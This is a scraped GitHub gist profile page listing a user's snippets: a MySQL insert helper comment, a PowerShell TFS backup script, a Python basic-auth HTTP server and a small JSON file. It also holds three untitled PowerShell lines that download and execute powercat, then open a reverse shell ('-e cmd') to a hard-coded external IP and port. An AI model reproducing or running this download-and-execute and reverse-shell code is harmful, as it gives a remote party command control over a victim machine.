Skip to content

Instantly share code, notes, and snippets.

View berkayyildi's full-sized avatar
🏠
Working from home

Berkay YILDIZ berkayyildi

🏠
Working from home
View GitHub Profile
/**
* MySQL Multi-Line Insert
* =======================
* See: https://gist.github.com/ProjectCleverWeb/d2362b082af1d7054ebfd464f202ec1b
*
* Notes:
* - I used a output buffer variable since in most languages variables are
* significantly faster than function calls and in this case the syntax for
* using a variable was both shorter and easier to read.
* - Table & column names are quoted to help improve compatibility, but in most
@berkayyildi
berkayyildi / TFS Extract Pending Changes to Zip File
Created October 19, 2020 14:51
TFS Extract Pending Changes to Zip File - Visual Studio 2019
$Destination = "C:\Users\berkay.yildiz\Desktop\"
$RarApp = "C:\Program Files\WinRAR\Rar.exe"
$projectDirectory = "C:\SOFTWARE\MY_PROJECT_DIRECTORY\Codes"
Set-Alias tf "C:\Program Files (x86)\Microsoft Visual Studio\2019\Professional\Common7\IDE\CommonExtensions\Microsoft\TeamFoundation\Team Explorer\TF.exe" #For Visual Studio 2019
cd $projectDirectory
$changeset = tf status | % {[Regex]::Matches($_, "edit(.*)")} | % {$_.Groups[1].Value}| % {$_ -Replace " ",""}
ForEach ($files in Get-ChildItem $changeset) {
& $RarApp a $($Destination + "yedek" + ".rar") $($files.FullName)
}
/*
* Available context bindings:
* COLUMNS List<DataColumn>
* ROWS Iterable<DataRow>
* OUT { append() }
* FORMATTER { format(row, col); formatValue(Object, col) }
* TRANSPOSED Boolean
* plus ALL_COLUMNS, TABLE, DIALECT
*
* where:
@berkayyildi
berkayyildi / db.json
Created February 12, 2020 00:04
db.json
{ "time":"2020-02-14 12:00:00", "pagetext":"TEXT of Timer", "skip":null }
@berkayyildi
berkayyildi / server.py
Created September 8, 2019 19:36 — forked from aenon/server.py
Python 3 HTTP Server with Basic Authentication
import http.server
import cgi
import base64
import json
from urllib.parse import urlparse, parse_qs
class CustomServerHandler(http.server.BaseHTTPRequestHandler):
def do_HEAD(self):
IEX (New-Object System.Net.Webclient).DownloadString("https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1");
Start-Sleep -Milliseconds 1000;
powercat -c 116.203.124.222 -p 5555 -e cmd;

Keybase proof

I hereby claim:

  • I am berkayyildi on github.
  • I am berkayyildi (https://keybase.io/berkayyildi) on keybase.
  • I have a public key ASASVxU_UcsVuS_ULVLWsgE7wQpzwyl-PVUn5vs_fv_C5go

To claim this, I am signing this object: